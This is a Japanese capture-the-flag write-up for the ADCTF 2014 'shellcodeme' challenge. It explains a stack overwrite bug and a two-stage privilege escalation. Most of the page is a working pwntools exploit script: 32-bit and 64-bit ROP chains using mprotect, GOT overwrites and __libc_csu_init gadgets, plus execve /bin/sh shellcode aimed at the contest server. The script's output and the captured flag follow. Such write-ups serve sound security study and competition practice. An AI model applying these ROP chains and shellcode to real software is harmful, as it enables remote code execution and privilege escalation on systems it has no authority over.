= shellcodeme = == 問題 == Can you execute shellcode? Really? [[http://adctf2014.katsudon.org/dat/fEbBAWoABNUYeyfM/shellcodeme.c|shellcodeme.c]] [[http://adctf2014.katsudon.org/dat/fEbBAWoABNUYeyfM/shellcodeme|shellcodeme]] {{{ nc pwnable.katsudon.org 33201 }}} == 解法 == shellcodemeは32bitのx86バイナリである。 readで書き込む先がmmapで確保した領域ではなく,スタック上のbufポインタを含む領域になってしまっている。 ROPで0x20000000をrwxにしてからシェルコードをそこにreadして実行するのが基本的な流れである。 しかし,実際にシェルを取ってみるとflagは別のグループの所有権で置かれており,sgidビットの立ったプログラムshellcodeme2が置かれている。 {{{ % python exploit1.py [+] Opening connection to pwnable.katsudon.org on port 33201: OK [*] Switching to interactive mode $ ls -l total 16 -r--r----- 1 root shellcodeme2 34 Dec 22 22:09 flag -r-xr-sr-x 1 root shellcodeme2 8621 Dec 22 22:09 shellcodeme2 $ id uid=1000(shellcodeme) gid=1000(shellcodeme) groups=1000(shellcodeme) }}} 道理で[[../2014-12-20|20日の問題]]と大差ないわけだ。もう一段のエクスプロイトが必要である。 shellcodeme2をダウンロードしてみると,同じソースコードを元にした64bitのamd64バイナリであった。 amd64の場合は引数をレジスタ(rdi,rsi,rdx,...)で渡すABIになっており,単に引数をスタックに積むだけでは関数を呼び出すことができない。 `__libc_csu_init`の最後にあるpopに注目する。 {{{ 40068a: 5b pop %rbx 40068b: 5d pop %rbp 40068c: 41 5c pop %r12 40068e: 41 5d pop %r13 400690: 41 5e pop %r14 400692: 41 5f pop %r15 }}} prefix 41が付いている命令の途中から実行すると次の四つのpop命令が得られる。 {{{ 40068d: 5c pop %rsp 40068f: 5d pop %rbp 400691: 5e pop %rsi 400693: 5f pop %rdi }}} これにより第一引数(rdi)と第二引数(rsi)は解決した。問題は第三引数(rdx)である。 今回欲しい第三引数はmprotectに渡す7である。main関数でmmapを呼ぶときのrdxを流用できないかを考えると,GOTを書き換えてmmapが呼ばれた時点でpop; retしてROPコードに戻ってくれば良いことが分かる。 0x20000000を書き込み・実行可能にした後のシェルコードの読み込みもmain関数を流用する。書き込み先のアドレスはrbpを基準に決定されるので,rbpの値を調整することによって0x20000000からシェルコードを書き込むことが出来る。次のmprotectのジャンプ先を書き換えておけばROPコードに戻ってくることが出来る。 {{{#!highlight python from pwn import * DOWNLOAD_STAGE2 = False #conn = process("./shellcodeme") conn = remote("pwnable.katsudon.org", 33201) shell_pid = -1 def check_shell(): # check whether pid is changed. # or you can simply check id. global shell_pid try: conn.clean() conn.send("echo $$\n") pid = int(conn.recvline()[:-1]) if shell_pid == pid: raise Exception() shell_pid = pid return True except: return False ########################## Stage 1 ################################## context(arch = 'i386', os = 'linux') rop = "" rop += p32(0x8048330) # mprotect rop += p32(0x804855d) # skip 3 words rop += p32(0x20000000) # buf rop += p32(1024) # length rop += p32(7) # PROT_READ|PROT_WRITE|PROT_EXEC rop += p32(0x8048340) # read rop += p32(0x804855d) # skip 3 words rop += p32(0x0) # stdin rop += p32(0x20000000) # buf rop += p32(1024) # length rop += p32(0x20000000) shellcode = asm(shellcraft.sh()) s = "" # buf s += p32(0x80484fc) # call "leave; ret" : esp <- ebp # ebp - {0,4,8,12} s += p32(0x80484fd)*5 # ret s += rop log.info("Stage 1") print hexii(s) log.waitfor("Pwning stage 1") conn.send(s) time.sleep(0.5) conn.send(shellcode) time.sleep(1) if check_shell(): log.done_success("OK") else: log.done_failure("NG") exit(1) if DOWNLOAD_STAGE2: log.waitfor("Downloading shellcodeme2") endmarker = "EOFEOF" conn.send("cat shellcodeme2; echo -n %s\n" % endmarker) with open("shellcodeme2", "wb") as f: f.write(conn.recvuntil(endmarker)[:-len(endmarker)]) log.done_success("OK") exit(0) conn.send("./shellcodeme2\n") ########################## Stage 2 ################################## context(arch = 'amd64', os = 'linux') SKIP1 = p64(0x400692) # pop r15; ret SETRBP = p64(0x40068f) # pop rbp; pop r14; pop r15; ret SETRDI = p64(0x400693) # pop rdi; ret SETRSI = p64(0x400691) # pop rsi; pop r15; ret DUMMY = p64(0x400694) # ret ########### ROP code ############# rop = "" ### make buf executable ### # mmap -> pop; ret # read(0, mmap, *) rop += SETRDI rop += p64(0) rop += SETRSI rop += p64(0x601018) # mmap rop += DUMMY rop += p64(0x400490) # read # edx = PROT_READ|PROT_WRITE|PROT_EXEC rop += p64(0x4005d6) # mprotect(0x20000000, 1024, edx) rop += SETRDI rop += p64(0x20000000) rop += SETRSI rop += p64(1024) rop += DUMMY rop += p64(0x4004c0) # mprotect ### read shellcode to buf ### # mprotect -> pop; ret # read(0, mprotect, *) # note: edx = 7 (length) rop += SETRDI rop += p64(0) rop += SETRSI rop += p64(0x601038) # mprotect rop += DUMMY rop += p64(0x400490) # read # rbp = 0x20000008 rop += SETRBP rop += p64(0x20000008) rop += DUMMY rop += DUMMY # read shellcode to 0x20000000 # read(0, rbp-8, 1024) rop += p64(0x4005ea) ### go go go ### rop += p64(0x20000000) ########### shellcode ############# shellcode = "" shellcode += asm("xor rdx, rdx") shellcode += asm("xor rsi, rsi") shellcode += asm("mov rax, `/bin/sh\\0`") shellcode += asm("push rax") shellcode += asm("mov rdi, rsp") shellcode += asm("mov rax, SYS_execve") shellcode += asm("syscall") s = "" # rbp-8: buf s += p64(0x40062b) # call "leave; ret" : rsp <- rbp # rbp s += DUMMY s += rop log.info("Stage 2") print hexii(s) log.waitfor("Pwning stage 2") conn.send(s) time.sleep(0.5) conn.send(SKIP1) time.sleep(0.5) conn.send(SKIP1[:7]) # read only 7 bytes, because edx = 7 time.sleep(0.5) conn.send(shellcode) time.sleep(1) if check_shell(): log.done_success("OK") else: log.done_failure("NG") exit(1) conn.interactive() }}} {{{ % python exploit.py [+] Opening connection to pwnable.katsudon.org on port 33201: OK [*] Stage 1 00000000 fc 84 04 08 fd 84 04 08 fd 84 04 08 fd 84 04 08 | 00000010 fd 84 04 08 .0 83 04 08 .] 85 04 08 20 | 00000020 04 07 .@ 83 04 08 .] 85 04 08 | 00000030 20 04 20 | 00000040 [+] Pwning stage 1: OK [*] Stage 2 00000000 .+ 06 .@ ., 06 .@ | 00000010 93 06 .@ | 00000020 91 06 .@ 18 10 .` | 00000030 94 06 .@ 90 04 .@ | 00000040 d6 05 .@ 93 06 .@ | 00000050 20 91 06 .@ | 00000060 04 94 06 .@ | 00000070 c0 04 .@ 93 06 .@ | 00000080 91 06 .@ | 00000090 .8 10 .` 94 06 .@ | 000000a0 90 04 .@ 8f 06 .@ | 000000b0 08 20 94 06 .@ | 000000c0 94 06 .@ ea 05 .@ | 000000d0 20 | 000000d8 [+] Pwning stage 2: OK [*] Switching to interactive mode $ ls flag shellcodeme2 $ cat flag ADCTF_I_l0v3_tH15_4W350M3_m15T4K3 }}}